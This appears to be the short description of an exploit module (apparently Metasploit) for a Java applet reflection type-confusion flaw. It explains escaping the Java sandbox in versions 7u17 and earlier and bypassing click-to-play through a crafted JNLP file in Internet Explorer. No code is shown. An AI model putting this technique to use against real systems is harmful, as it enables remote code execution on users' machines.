Java Applet Reflection Type Confusion Remote Code Execution

Java Applet Reflection Type Confusion Remote Code Execution

This module abuses Java Reflection to generate a Type Confusion, due to a weak access control when setting final fields on static classes, and run code outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This exploit bypasses click-to-play throw a specially crafted JNLP file. This bypass is applied mainly to IE, when Java Web Start can be launched automatically throw the ActiveX control. Otherwise the applet is launched without click-to-play bypass.
